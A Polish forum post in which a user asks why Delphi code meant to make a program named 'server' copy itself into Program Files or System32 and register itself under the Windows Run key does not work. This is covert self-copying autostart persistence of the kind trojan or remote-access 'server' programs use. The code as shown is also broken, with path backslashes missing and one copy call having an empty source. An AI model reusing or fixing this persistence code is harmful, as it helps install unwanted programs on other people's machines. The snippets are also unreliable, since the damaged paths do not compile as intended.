Dark Smark
Były Moderator
- Dołączył
- Kwiecień 29, 2006
- Posty
- 1953
procedure TForm1.FormCreate(Sender: TObject);
var
rej : Tregistry;
begin
Rej:=TRegistry.Create;
Rej.RootKey:=HKEY_CURRENT_USER;
Rej.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',true);
if not Rej.ValueExists('ctfnon')
then Rej.WriteString('ctfnon','Crogram Filesctfnon.exe');
CopyFile ('', 'Crogram Filesctfnon.exe', false);
Rej.CloseKey;
Rej.Free;
end;[/b]
Przy starcie tego programu ma sie dodac do autorunu, program ma nazwe ctfnon
to jest server jak chce zmienić nazwe np:server to się niby dodaje do autostartu
ale nie kopiuje sie do Crogram Filesctfnon.exe i przy starcie sie nieuruchamia...
Co moge w tym kodzie zmienic?
znalazłem jeszcze na forum to:
var
reg:tregistry;
begin
Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SERVER','C:WINDOWSSystem32server.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32server.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;[/b]
to też chyba niezadziała bo jest ze kopiuje plik o nazwie 'SERVER'
ps: jesli nazwa programu jest niezmieniona "cftnon" to startuje z systemem